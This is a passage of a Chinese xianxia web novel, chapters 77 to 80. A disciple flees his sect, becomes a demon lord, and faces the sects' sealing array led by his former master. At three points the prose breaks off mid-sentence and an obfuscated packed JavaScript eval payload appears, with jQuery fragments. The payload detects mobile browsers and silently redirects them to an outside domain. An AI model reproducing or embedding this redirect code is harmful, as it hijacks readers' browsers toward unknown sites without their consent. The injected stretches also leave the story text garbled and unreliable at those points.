阵法极易解决,难的是牢房上挂着的锁。这锁由特殊材料制成,除了配套的钥匙,基本没有任何法子能将其打开。梁惜因试探着将灵力注入锁内,已做好了暴力破开栏杆的准备。 出乎她意料的是,还没怎么捣鼓,这锁就自己开了。梁惜因一顿,问重霄道:“是谁带你进来的?” “掌门。” 是了,谢既微自小与他们兄妹二人一同长大。梁惜时能看出她的想法,他又何尝不知呢?想来他在锁门时根本就只是做做样子。 梁惜因眨了眨有些酸涩的双眼,不由分说地拉住重霄的手,将他带入了缩地阵中。 眼前的景象飞速变化着,转瞬间,两人就来到了山下。 梁惜因仰头望着比自己要高出许多的小徒儿。她抬起手,想要抚一抚那张她无比熟悉的面容,却又在即将触碰到之时将手放下了。 “你走吧,我看着你走。”他不能再留在修仙界了,无数双满含恶意的眼睛紧紧盯着他与他的那身怨气。他若不死,这群人便不会罢休。 “好好...活下去。”梁惜因咬着牙关将泪意压了回去。 话音方落,她就被拥入了一个怀抱。重霄抱得很紧,像是怕只要一松手,他的心上人就会随风而去。 “师尊。”这个称呼他唤了无数遍,却没有哪一声像如今这声一样,珍之又珍,重之又重。 淡淡的梨花香再度萦绕在他鼻尖。他低头,无比虔诚地在梁惜因的发顶落下一个吻。他吻得太轻了,似蜻蜓过水、蝴蝶穿花、雪落人间,除了他,天底下不会再有第二人知道。 明月无言照离忧。 不知过了有多久,他将人松开,向后退了几步,俯身向梁惜因行了一礼——那是再标准不过的拜师礼。 五年前,他懵懵懂懂的混迹于凡间,是梁惜因给了他名字与身份,牵着他重新走入了人世。五年后,她还是那不染凡尘的世外仙师,是修仙界中最有天赋的阵修,他却已是人人喊打,满身血污。 五年来的教诲与陪伴、庇护与笑语,竟是如过眼云烟般转瞬即散。 他终究...还是摆脱不了“怪物”这一身份。 梁惜因没有扶他,只是默默地受着他这一礼,再等着他直起身子。 “快去吧,不要被修士给发现了。”时间拖得越久,变故就越多。她就算再不舍,也还是轻声催促道。 重霄最后看了她一眼,慢慢转过身,一步步走入黑暗中,身形与夜色融为一体。 此一去,便不知何日再能相见了。 一滴泪再也控制不住地从她眼角滑落,梁惜因连忙抬手擦了擦,重霄已经走了,她也没必要在此地久留了。她没布阵,而是独自在山道上往回走着。 她身前是巍巍山门,修仙大宗;身后是寂寂人间,寥落弟子。她又一次地想着,事情到底是怎么变成如今这样的?究竟是从哪一步开始错的?还是像那么多人所言,她把重霄带回来这件事,从一开始就是错的? 可这天道,又一定是对的吗?梁惜因不信命,倘若命运当真是早已注定好的,那凡人所做的一切努力岂不都成了笑话? 她想要的,向来只会靠自己去争。 在梁惜因看不见的地方,重霄一直未曾离去。他站在角落中,目送着她越走越远,一次也不曾回头。他留不住她,就像凡人留不住月光。 梁惜因让他走,可这偌大的世间,他又该何去何从?他在这世上无亲无故,所有的惦念与牵挂都在天璇峰上了。她就是他的天地。 可他无论如何都不能再回去了。他若是留在那里,只会给天璇峰招来无尽的麻烦与祸患,甚至会将整个玄晖宗都变为众矢之的。 他孑然一身地入了宗,如今也将孑然一身地离开。 等到快望不见梁惜因的身影了,他才不再犹豫,挥手使出一道怨气。梁惜因毫无防备,猛的被怨气给击中了。她身形晃了几下,被怨气托着缓缓瘫倒在地。 - 次日,整个修仙界都被掀起了轩然大波。 玄晖宗弟子重霄趁夜越狱,还伤了前来阻拦的师尊。昨日还齐聚在苍梧宗的众人今日又全都赶来了玄晖宗,无人不是义愤填膺,尤其是苍梧宗诸人。 “谢掌门,你昨日说会将那小子严加看管,我们才没将人扣下,结果当晚人就跑了。贵宗的地牢难道是摆设不成?” “我们从皇城赶来,是来观刑的,不是来看闹剧的!” “他就这么跑了,不知又有多少无辜之人将惨遭杀害...” “谢掌门今日必须给我苍梧宗一个交待!给郭掌门和郭公子一个交待!” 谢既微处在风暴中心,他抬起手向下压了压,示意众人稍安勿躁:“会发生这样的事,是谢某的失察。在下万万没想到他的修为已高到了如此境地,竟能不顾地牢中的重重阻碍逃了出去。更没想到他是如此无情无义,甚至将教导他多年的师尊打伤。” 谢既微叹了一声,面上是再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867886|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真切不过的痛心:“含盈如今还昏迷未醒,正由何峰主为她祛除体内沾染的怨气。今日之事,实属谢某一人之过啊!趁今日你们都在此,在下便以掌门的身份,将重霄逐出玄晖宗。此后他的所作所为,皆不是玄晖宗所能管教的了。” 他说得太过情真意切,再加上又是掌门,倒是让方才出言的几人有些不好意思了。 “其实吧...这事也不能全怪谢掌门。” “含盈仙子也是可怜,摊上这么个白眼狼徒弟,我先时竟还怀疑过是不是她助重霄越狱的。罪过,罪过。” “多说无益,当务之急是要将人重新抓回来,再杀了以绝后患。” 话说得容易,重霄这一去,便如石入大海。浩浩人间,想要找到一个人,谈何容易?一场大规模的搜捕活动在整个修仙界中展开,却始终无甚进展。 与此同时,各地的魔族越发不安分起来,在人间频频作恶,一次比一次恶劣。唯有陵州城还是一如往昔,安然无恙。因此玄晖宗在这一片乱象中显得格外悠闲,只能将修士外派去协助当地的宗门或是世家除魔。 各门各派皆忙于除魔,一时竟是将搜捕一事抛到了脑后。直到有一日,魔尊重霄的名号自漆吴山席卷了整个修仙界。 漆吴山草木稀疏,巨石林立,日光忽明忽暗,处东海而望丘山。山上一向无人久居,如今已然成了重霄和一众魔族的聚居处。 自那日离宗后,重霄有很长一段时日都在凡间漫无目的地游荡着,一如他初来世间之时。他体内的怨气仍会时不时地溢出,自杀过人之后,这些怨气越发难以控制。这般下去到底不是长久之计,是以他去了当时离他最近的一座荒山,也就是漆吴山。 山中生灵稀少,崎岖难行。他在山顶寻了处不大的洞穴,当作新的栖身之所。漆吴山距玄晖宗不远,他在山顶向南望去,能望见玄晖宗常年被云雾缭绕着的七大主峰。 此后他最常做的事,便是坐在山顶向南望去。 魔族生性慕强,对怨气更是极为敏感。不多时,就有魔族循着山顶那浓郁的怨气来到了漆吴山,说要追随于他。 重霄一身玄衣,离宗之后,他换下了宗服,从此再没穿过白衣。他看着跪伏在地的几名魔族,第一反应是觉着好笑。他这样的人,也有人愿意追随吗? 他没理会他们,让他们自己随意。那几名魔族便当他是默认了,在漆吴山中住了下来。起初这些魔族还会时不时地到山顶讨好于他,可他们很快发现,不论他们说什么做什么,重霄都是一副极为冷漠的神色,毫不在意,时间久了还会不耐地拧起眉心。 从此他们便识趣地居于山腰处,很少再上去打搅他。望风而来的魔族越来越多,他们也知晓了重霄就是杀害了苍梧宗掌门的逃犯,一个称呼在他们间慢慢流传开来——魔尊。 这称呼传到重霄耳中后,他挑了挑眉,似是觉着有趣。他其实算不上是魔族,没曾想人族将他驱离后,魔族却是立马接纳了他,甚至将他奉为尊主。 这世事,有时就是如此无常,任谁也预料不到此后会发生什么。 仗着多了个魔尊,部分魔族愈发肆意妄为,四处为恶。重霄懒得去管,也管不住他们所有人,不是所有魔族都对他这所谓的“魔尊”心服口服的。况且那些人死便死了,又与他何干?他只特意叮嘱了一句——不要伤玄晖宗与陵州城的人。 78. 魔尊 人族和魔族间本便岌岌可危的和平彻底被打破,重霄身为魔尊,形象也无可避免的被传得愈发妖魔化。 民间一家再普通不过的小酒楼内,几人围坐一桌,压低声音道:“诶诶诶,你们听说了没,镇上又有个小孩失踪了!” “完了完了,这定是被魔尊拿去下酒了。据说那魔尊喝一次酒,要拿三个小孩当下酒菜!” “岂止啊,我还听闻那魔尊本来长得青面獠牙、奇丑无比,是靠每日饮用年轻男女的鲜血才得以维系他那副俊美模样的。” “罪大恶极,实在是罪大恶极啊!这魔尊到底还有何事是做不出来的?” 几人唏嘘一阵,又各自回家做活去了。 而此刻青面獠牙、罪大恶极、专爱拿小孩下酒的重霄本人正在漆吴山上忙着种树。 没错,种树,且全都是梨花树。只是不知是哪步出了差错,这些树没一棵是成功活下来的。 “老大老大老大!”一道黑影飞速掠了进来,在即将撞到重霄时又匆忙刹住了脚步,化作了一名半大少年。 那少年见他又在种树,数不清第多少次地劝他道:“老大,这山太荒了,养不活这娇贵花儿的。” 重霄睨他一眼:“闭嘴。” 这少年名唤闻影,不久前刚来到漆吴山。重霄还依稀记得那日,居于山腰的众魔族抬着濒死的少年来到他的洞穴前:“魔尊,这小子是我们几个在山脚捡到的,您看看埋哪比较合适?” 少年身形瘦小,浑身血污,已然是虚弱到了极点,半阖的眸中透出一丝微弱的光。重霄垂眸注视着他,蓦地想起了以前的自己,那时的他,在梁惜因眼中也是这般狼狈吗? 心念一动,他让众魔将这少年抬进他的洞穴中。他并未多做什么,只是往他嘴中塞了几枚丹药,至于能不能活,就全看他自己的造化了。 可他竟当真活了下来,且伤势恢复得极好,没多久就能在整座漆吴山上蹿下跳了。他告诉重霄他名唤闻影,是魔族闻氏唯一的后人。 魔族闻氏,以秘法幻身咒闻名。修行此咒者可幻化出数十道身影与其一同战斗,速度极快,威力极强。但同时,受咒法的限制,凡是修行者,在少年时期骨骼容貌便会被固定下来,终生不会再变,除非死亡。 自那之后,重霄身后就多了个小跟班。 此时闻影“哒哒哒”地跑到洞中倒了一杯水出来:“老大,喝水。” “我不渴。” 闻影又把小臂上搭着的手巾递给他:“那老大,你擦擦汗。” “...不用。” 重霄停下手中的动作,对他道:“做你自己的事去,不必服侍我,也不要离我太近。” 闻影:“......” 他把茶杯和手巾一扔,干脆利落地顺地打起滚来,嚎道:“老大你是不是要赶我走了!我娘从小就告诉我滴水之恩要涌泉相报,老大你却连我倒的水都不肯喝,是不是嫌弃我!嫌弃我我也不走,我就要待这!就要待这!” 重霄:“......” “起来。” 闻影动作一顿,还是瘫在地上。 重霄目光渐冷,一言不发地俯视着他。闻影一个激灵,立马翻身坐起,乖巧道:“我错了,老大。” 见他不闹了,重霄才说:“你想待在哪都可,但我身边不行,太危险了。”指不定哪日怨气再次失控溢出,届时会发生什么,便完全不是他能预料的了。 他身上暗藏着无数危险与未知,只会害了他身边的所有人。就连洞穴旁的花草都在怨气的影响下逐渐变得萎靡不振,毫无生机。 “老大你这是什么话,我这条命都是你给的,你想拿去就拿去呗。”闻影抓了抓耳后的头发,丝毫都不把这当回事。 重霄张了张唇,似是想要说些什么,最终却只是道:“...罢了,随你。” 闻影顿时像得了什么许可般兴高采烈起来,不过几息功夫,他身形化作的黑影就已绕着山头跑了几个来回,边跑还边高声怪叫着。 重霄:“......”他后悔了,就该让这小子滚远些。 闻影跑够了,一个急刹停在了重霄面前:“对了老大,你让我打听的那位梁峰主...” 重霄心口一滞,胆怯与期待交杂着袭来。他太想她了,想知道她现在的一切,却又怕听到什么他不愿听到的消息,因此在闻影回来后迟迟没有主动发问。 “那梁峰主前些时日一直在闭关,昨日才出来,一出来就被苍梧宗派来的人请去了,好像是要商讨什么大事。”闻影不知重霄为何会对梁惜因如此另眼相待,但既是重霄的命令,他照做便是了。 重霄皱眉:“闭关?她为何要闭关?” 闻影摇头:“不知道啊,这些个正道闭关不就是那几个由头,养伤?修炼?” 养伤?他那日用在梁惜因身上的怨气只是极少一缕,就算无人医治,她最多昏迷一日,那怨气便会自动散了。难道...是受了别的伤?不,她也可能是出于修炼才去闭关的。 他又问闻影道:“她...神情看上去如何?” 闻影“嘶”了一声,摸着下巴道:“感觉很不爽的样子,一直沉着张脸。” “......我知道了。”他确实不该指望闻影能看出什么来。 “诶,老大,我听他们说你之前是玄晖宗的弟子,真的假的啊?”闻影丝毫没察觉出重霄的异样,想问就问了。 “是真又如何?假又如何?”重霄反问他。 闻影咂着嘴想了会:“若是真,那就说明老大很强,能在那群心眼坏透了的修士手中活下来;若是假,那我就打烂那些造谣之人的嘴!竟将我们堂堂魔尊与一滩烂泥的修仙门派扯到一起!” 闻影是血统最为纯正的魔族。这种魔族就算不作恶,也会平白遭到修士的追杀,再被带回他们所在的宗门去搏个“为民除害”的美名,道貌岸然,虚伪至极。闻影的家人便是为修士所杀,是以他自小就对修仙界恨之入骨,话里话外都不忘宣泄这股恨意。 重霄并未去管他的用词,敛目回道:“真真假假,都已是过去之事了,何必多思?” “哦。”闻影眨巴着眼,一副半懂不懂的样子,安静了没一会就又问道:“那老大你是怎么杀了苍梧宗前掌门的?能不能跟我说说?” “这身怨气又是怎么练出来的,我能知道吗?” “还有还有,老大你这么强,什么时候带我们踏平修仙界啊?” 重霄:“......” “滚。” “哦,滚就滚。”闻影无比熟练地再次顺地躺倒,就这么滚出了重霄的视线。 重霄:“......”他很难不怀疑闻影此前是不是伤到过脑子。 是夜,重霄又一次独自坐在山崖上,向南望着那如斗的七座山峰。低垂的夜幕下,几座山峰也只剩下了模糊的黑影。即便如此,他也依旧能毫不费力地辩认出那些山峰。 他目光久久停留之处,是位于东边的一座山峰——天璇峰,他以前的家。 近来修仙界关于他的身份之说甚嚣尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870739|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,甚至用不着闻影特意去打听,他也知晓了。不少玄修仗着会算点卦,肆意散播流言,说他是什么上古妖魔转世,拥有无上邪力,惹得人心惶惶。最后玄仪子迫于各宗压力,不得不出来澄清真相。结果还不如不澄清,得知真相后的众人反倒更为慌乱无措了。 重霄唇角勾起一抹讥讽的笑意。怨气的化身...注定为祸人间吗?他的命运,原来早就被定好了。 他不在乎旁人是何反应,他只想知道梁惜因是如何想的。在知道这一切后,她是仍愿意唤他一声“阿霄”,还是恨不得亲手除了他这个祸害,甚至后悔当初将他带回宗? 闻影说她总是沉着脸,是因为他吗?因为她亲手放出狱却又在最后关头给一击的小徒弟?重霄眸光暗了暗,自他被逐出玄晖宗起,两人之间的师徒名分就已解除了。他们如今,不过是陌路人罢了。道不同不相为谋,重霄想,她若是厌他、怨他,那也实属自然。或许从一开始,他们便不该相识。 “老大老大老大!”这风风火火的,重霄不用回头也知是谁了。 他将自己从思绪中抽离出来,淡声问道:“何事?” “我又下山转了转,发现山下的屋子都空了,那些百姓不知都跑哪去了。还有那些个宗门,眼下全都聚到苍梧宗去了,还个个都穿的人模狗样的,像是要开集议。”闻影在他身旁蹲下,“所以我就在外头偷听了会,想听听这群蠢货能商讨出个什么东西来。” “听到什么了?” “啥也没听到啊!那群狗娘养的竟然布了隔音符!这般偷偷摸摸,一看就不是在干什么好事!” 重霄颔首,像是早就预料到了这种情况,闻言并不意外。 “我还见到梁峰主了。”闻影又说。 “她怎么样?”重霄立时问道。 “看着挺好的,开集议前还有不少人来找她说话,这我可是听到了。”闻影扬起脸,露出些许骄傲的神色,“好像是那些个修士要布阵,梁峰主是什么主阵人,他们就是为这事来找她的。” 话落,闻影见重霄没反应,又往前凑了凑:“老大?你听到我说的话没?” 重霄不语。各门派齐聚所为何事,他不用细想也能猜到,无非是为了剿灭他这个祸害。魔族与人族积怨日深,他又有这么个身份在,苍梧宗更是恨不得将他剥皮抽骨,两方交战不过是早晚的事。 只是...主阵人。原来她竟是也想要他这条命吗?心脏像是被无数蚁虫啮咬着,千疮百孔,无处不在痛。她既是想杀他,一句话就够了,只要一句话,他便会心甘情愿地将这条命奉上,何必这般大费周折? 他就如溺水之人,拼了命的想要抓住倒映在水面上的一轮明月,可月亮还是离他愈来愈远,最终彻底消失不见。他也就这么被绝望的黑水裹挟着,越陷越深,再也寻不到一丝光亮。 “老大?老大?老大!”奇怪,老大这副神情,是在伤心?闻影凑近了想要看得更仔细些,没提防重霄突然站起身来,一下向后仰倒摔了个屁股墩。 他正揉着屁股“哎呦哎呦”地叫唤着,却听得重霄道:“去告诉那些魔族,准备开战。” 山顶的疾风将他黑色的衣袍吹得猎猎作响,重霄眸色沉沉,眼中是前所未有的决绝,眉间的印记与眼下两枚朱砂痣将他的面容勾画出了几分妖异。草木在狂风中哀嚎着,有如鬼哭,浓云滚滚,遮住了最后一丝星光。他立于山巅之上,俯视着人间。 闻影心头一凛,俯身跪地道:“闻影,听令。” 有些事,也该做个了断了。 79. 仙魔 天璇峰,落雪轩。 梁惜因坐在梳妆台前,铜镜内映着她的面容与一盏摇曳的烛火。她一言不发地静坐了许久,才抬手取下颊边的白玉耳坠。 她将耳坠放入匣中,指尖轻柔地抚过上面的如意纹路,唇角勾起一抹笑意。这傻子,当真以为她不知男子送女子耳坠是何意吗? “啪嗒——”一滴泪顺着她的面颊滑落,给耳坠覆上一层转瞬即逝的晶莹薄膜。 “师尊,你找我?”门外响起常谧的声音。 “是,进来吧。”梁惜因连忙将泪抹去,又将木匣收好。 常谧推开木门,一如往昔地对梁惜因行了个恭恭敬敬的礼:“师尊。” 梁惜因将人扶起,默了片刻后问道:“阿谧,你拜到我门下已有多少年了?” “回师尊,十六年。” 梁惜因在房内踱着步,神色感慨:“十六年了,我还记得你刚来天璇峰时的模样,没曾想转眼就过去了这么多年。”她站定脚步,注视着常谧道:“为师接下来交待的事,你可要记好了。” “师尊请讲,弟子定当牢记。” 梁惜因将一册书交到她手中:“这册书中载有天璇峰历代峰主的心血,因我编纂匆忙,不少地方都较为简略。你在翻阅时若有不懂之处,可去藏书室做查找,或是去天玑峰问梁峰主。长天还在合虚山上,若他还愿意回来,就让他住在原来的院子中,再将这册书交与他抄录一份。天璇峰平日里没什么人会来,事务也少,凡事听掌门安排便可。” 常谧越听越不对劲,紧紧捏着手中书册,犹豫了几息还是问道:“师尊...不留在天璇峰了吗?” 梁惜因莞尔一笑:“怎会,只是明日一战定然凶险,我提前交待你一些事也好安心些。” “不会的!”常谧鲜少如此激动,“师尊定会平安归来!” 梁惜因修为本就不低,还有谢掌门、梁峰主他们护着,况且...她并不认为她以前的师弟、现在的魔尊会让梁惜因被魔族伤到。 可若是万一...“师尊是非去不可吗?”常谧几乎是带着些孩子气地问着。 “你师尊可是主阵之人,这一战少了谁都行,唯独我不能不去。”梁惜因拭去她眼角欲落的泪,“好了,别想太多。承阿谧吉言,师尊定会平安回来的。” 若是两个师弟也能回来该有多好,常谧面上不显,心中却是无比怀念从前的日子。 只可惜,再也回不去了。 “好孩子,天色不早了,你也快些回去休息。”梁惜因又说。 常谧依言走出院门,走到一半时又回过头来,见梁惜因还站在门口,脸上带着她熟悉的笑意。她这才稍稍安下了心,又远远地对梁惜因行了一礼,回身向自己的院中走去。 师尊,一定要平安啊。 见常谧真走远了,梁惜因才回屋在桌前坐下。桌上的荷叶盘中原本放着各色点心,现下只剩两块桂花糕了。这是她特意央着梁惜时给她做的。 今日上午她去了趟天玑峰,对梁惜时说想吃他做的点心了。梁惜时那叫一个高兴,当即跑到厨房中去大干三百回合,给她做了满满一食盒的糕点。 扶岳不无羡慕地道:“哥,我也要。” 梁惜时:“......” 梁惜因:“......” 谢既微:“......” 梁惜时无情摆手:“一边去,没你的份。” 扶岳脑袋上冒出两只虎耳,耷拉着道:“真的不行吗,哥?” 梁惜时深吸一口气:“......滚。” 谢既微借着喝茶的动作掩住了笑容。这家伙,为了口吃的还真是什么都做得出来。 梁惜因掩唇道:“行了,扶岳哥,让我哥下次再给你做好了。” 扶岳的虎耳又立了起来,欢快道:“当真?” 梁惜时清了清嗓子:“看心情吧。” 谢既微将茶盏放下,淡笑道:“我记着落雪轩的那坛酒已埋了要有十年,到时正好一道启封喝了。” 扶岳将手搭在梁惜时的肩上,凑近了说:“这下惜时你可不能赖账了啊。” 梁惜时一把将他的手拂开:“什么赖账?我何时答应你了?” 四人说说笑笑,那所谓的仙魔大战,在此刻看上去离他们是如此遥远。 梁惜因捻起一块桂花糕,犹豫了少顷,还是将糕点放回盘中,再次起身走到了院外。 今夜的梨花落得格外多,行于院中宛若踏雪。梁惜因觉着她应该再去一趟天玑峰,或是天枢峰、开阳峰,但她只是静静地立于层层梨花之上,仰头看向那无垠夜空。 漆黑的夜幕中,明月遮着面,仅露出一弯向上的月牙儿。而在月牙之上,还有一枚更为明亮的光点。 卜星阁,观星台。 玄仪子坐在龟甲上,面向夜空。他双眼微微眯起,神色平静。时间在静默中流逝着,他忽而侧首对侍立在旁的徒弟笑道:“小经渺啊,你可有看出什么来?” 经渺的年岁看上去和玄仪子相差不大,但他却是实打实的孩童,一听师尊问话就紧张,尤其是在自家师尊露出这种笑意之时。他顿时立正站好,一板一眼地答道:“回师尊,月掩金星,太白逝而天道崩,天下恐危矣。” 玄仪子笑意更甚,似是觉着经渺小小年纪说话便一本正经的模样实在有趣,“还有呢?”他问。 还有?还有什么?经渺答不上来,一张小脸涨得通红。 玄仪子御着龟甲离他近了些,抬手指向空中的某个方位:“看到没?” 他所指的是一颗异常明亮的星,经渺盯着看了好一会,脸色更红:“弟子惶恐。” 玄仪子自不会怪他,悠悠然地飘了回去,声音像是自远方传来一般缥缈无依:“其出也无恒时,其居也无定所。忽见忽没,或行或止,不可推算。” 经渺下意识地接上了后半句:“寓于星辰之间,如客,故谓之客星。” 他懵然地问:“师尊,不知此当做何解?” 玄仪子没答,他微微仰着头,浮于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876234|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半空中,发带随风扬起,稚嫩的面庞上是超脱一切的淡然。经渺没来由地觉着,他的师尊仿佛在下一瞬就要乘风归去了。 “客星现,新机生...”玄仪子喃喃道。 蓦地,他就如想通了什么般,双眸明明更盛星,转身吩咐道:“小经渺,去取千虚镜来。” 夜空星光明明,人间灯火不歇。 苍梧宗,主殿。 新任的张掌门立于最前方,殿中密密麻麻站满了人,几无多出的落脚之地。这些人服饰各异,来处不一,面上却皆是相同的义愤填膺。 张掌门挥袖,声如洪钟,响彻殿内:“今有魔尊重霄,招聚魔族,占山为王;身怀怨气,后患难料;残杀同门,戕害无辜;罪大恶极,天地共诛!天道不仁,竟容魔族肆虐至此!幸得诸有识之士齐聚于此,共商灭魔大事,还清明于人间,证正道之不朽!” “还清明于人间,证正道之不朽!”众人的附和声一时有如排山倒海,其中最真情实意的莫过于苍梧宗之人,但也仅限于其中少数和郭掌门父子有交情或仰慕他们二人的修士。 其余大多数修士之所以会来此,或为讨好苍梧宗,或为博个“正义”的名头,或是与魔族有积怨,或就是单纯从众而来。但只要问起,他们口中的答案都只有一个——为了天下苍生。 他们与重霄并无恩怨纠葛,也只听说过两桩他为恶之事,还俱是在他被逐出玄晖宗前发生的。 可他是魔尊。被魔族奉为尊主,那他的双手定然沾满了无数人的鲜血,也定然犯下过数不清的罪孽。如若不除掉他,天下必然大乱! 说是商讨大战事宜,但具体事项早在几日前就已定好了,如今只不过是再重复一遍。即便如此,殿中的修士无不表现得积极无比,狂热的气氛席卷了每一个角落。 他们面上的神情,是兴奋、是难耐、是忐忑、是激昂...无人不深信着,即将到来的战役,是注定会被载入书册的一次壮举,后辈会传唱他们的故事,凡人会铭记他们的功德,他们将被冠以英雄的称谓。 金乌腾跃,曙光刺破黑夜。新的一日,到来了。 漆吴山。 一道黑影猛地冲进山顶的洞穴:“老大!诶呀,这都啥时候了,你咋还在这刻木头呢?” “来人了?”重霄平静开口道。 “来了!好多好多人!整座山都被围住了,真是干他老天爷的。” 听到最后一句话,重霄眼角一抽。他将手中刻了一半的木块放下,又问:“山腰的魔族,都通知过了?” “那肯定的啊,都准备好了,就等老大你了。” : “知道了。”他站起身,语调无波无澜,“走吧。” 山脚,仙魔两方正对恃着。修士们俱是衣袂飘飘,不染尘俗。而魔族一方的面容体形可谓是千奇百怪,身上的衣服大多是布衣。但有一点相同,那便是他们面上对彼此的憎恶之情。 张掌门御剑立于最前方,厉声道:“魔族宵小,还不速速束手就擒!” 80. 坠落 闻影动作极快,转眼间就到了山脚下,闻言骂道:“我呸!你算哪根葱啊敢这么跟小爷说话?还束手就擒,怎么束啊,你给小爷我示范一个如何?” 周遭魔族顿时大笑出声,张掌门出身名门,何时被人这般对待过?他憋了半天只憋出了句:“无知小儿!休要狂妄!我今日便是为取你性命而来!” 闻影双手抱在脑后,不以为然地讥道:“哟,老不死的口气还挺大,我命就在这呢,你有本事就来取啊!来啊!” 眼见张掌门气得快背过去了,一旁的修士连忙帮腔道:“闻影!你杀了那么多修士,心中难道就连一丝歉疚之情也无?” “歉疚之情?”闻影像是听到了什么极好笑的笑话般,捂着肚子笑了半晌。 他抬手抹去笑出来的眼泪,眸光骤然阴沉下来,里头承载着的,唯有滔天的恨意:“我杀他们,是因为他们该杀。” 有几个胆小的修士竟是被他这一个眼神吓得后退了几步,反应过来后又觉丢脸,靠着喊声来给自己壮胆:“什么该杀,我看该杀的是你们吧!” 魔族早就觉不忿了,不待闻影答话,就有声音道:“凭什么我们该死,你们修士杀了我族内那么多人,你们怎么不去死!” 那修士立马驳道:“胡言乱语!你那些同族若是不作恶,又怎会被杀害,我们这是为民除害!” “除你娘的狗屁害!我孩子还那么小,才刚学会叫阿爹阿娘,就被几个修士给杀了。他还那么小,能做什么啊...”说到这,他竟是直接崩溃大哭了起来。 他哭声愈大,部分修士就愈心虚,脸色青一阵紫一阵,只能借着嘈杂的声音来掩饰:“诬蔑!这是诬蔑!” “怎么可能会有这样的事!我看他约莫是得了失心疯了。” “苍天有眼,我们修的是正道,为的是苍生。断不会同你们一样去戕害无辜!” 魔族虽然人数远远比不过对面,但声音亦是不遑多让。 “怎么不可能!我娘种地种了一辈子,你们莫名将她抓走还不够,竟还将她的尸身曝于荒野!她与你们到底什么仇什么怨!” “为什么...明明我们也只是想活下去啊...” “一群虚伪至极的玩意儿,你们这些个修士,老子以后见一个杀一个!” 重霄欣赏着这出闹剧,不慌不忙的从山顶慢慢踱了下来。聚在山脚下的魔族察觉到他来了,又是敬又是畏,纷纷向左右退避着,给他让出一条路来。 众修士自是也看到他了,两方一时全都没了声音。空气静得好似能听到重霄的脚步声,一步一步,踏在众人的心口。 重霄在无数道视线的注视下走到了最前方。他甫一站定,魔族们又立马簇拥了上来,面上瞧着都变得有底气不少。尤其是闻影,他本就嚣张,这下更是指着张掌门道:“老大,他就是苍梧宗新任的掌门,赶紧将他杀了给那姓郭的作伴!” 张掌门大骇,生怕重霄下一秒当真向他出手,慌忙向身后高呼:“魔尊出来了!快布阵!布阵!” 不消他多言,负责布阵的几名修士早已在各自的方位站好了。 此阵名为玄天封魔阵,镇邪之力极强,自来只出现于古书之上,从未被实际使用过。按古书所载,此阵的效力会集中在一人身上,将其困缚在阵中,再无逃脱可能,只能日复一日忍受着生命的消逝,死后也无法超生。 梁惜因担任主阵之人,不仅是因为此阵的动用是由她提出的,更是因为当今修仙界除了她,已无第二名阵修能担此重任。此阵浩大繁琐,除了主阵人,还有四名护阵人。 这四人中有两人皆与梁惜因相熟,一为梁惜时,一为玄仪子。梁惜时一向是符阵双修,只是在符之一道上的造诣更高。而玄仪子活了这么久,有事没事就练一练阵法,布起阵来比起一些阵修还要得心应手。 其余几人俱是神情凝重,唯玄仪子仍是满目悠然。他晃着两条小短腿飘到了梁惜时身旁,意味深长地问道:“梁峰主,可准备好了?” 梁惜时的注意力全都集中在了阵法上,连玄仪子是何时来的都不知,听到他问话后受了一惊:“前辈。” “此等大阵,晚辈不敢马虎,也请前辈速速回到自己的方位上。”他恭敬道。 “噢。”玄仪子几乎是被他赶着回了自己的位置,他百无聊赖地四下张望了番,最终将视线定在了梁惜因身上。毕竟下一次再见面,就不知是何时了。 山脚的魔族自不会乖乖等着阵成,不约而同地发起进攻,魔息大盛,翻涌着袭向不远处的修士。闻影施了个诀,霎时间就化出数十道分身,每个分身都以快到不可思议的速度闪身向前。众修士早已做好了迎战准备,纷纷祭出法器,掩护布阵之人。 魔息与灵力相撞,符光与剑影纷飞,琴音与嘶吼交织...一时之间,就连天地都为之变色。鲜血四溅,不知是谁的身躯倒在了地上,一双双脚从他的身上踏过,他再也没有起来。 一片混乱中,重霄只是静默无言地立于山下。周遭的术法与杀戮像是被阻隔在无形的墙外,天地中所剩的,唯有他,和他眸中的那道身影。 这么多日没见了,他好想她。 梁惜因浮于半空中,阖着双眸,双手结印,操纵着面前的白玉阵盘。墨发在她身后飞扬,一缕缕洁净的灵力自她指尖注入到阵盘中,又化作一道道繁复的阵纹倾泻而下。 他恍惚间忆起刚入宗门之时,纪长天对他说过的话——“以师尊的修为,如若用上了阵盘,那定是遇上了极难解决的麻烦。” 原来到头来,他才是那个麻烦。纪长天还未归宗,他怕是等不到了。只可惜,没能亲口对他说出那声抱歉。 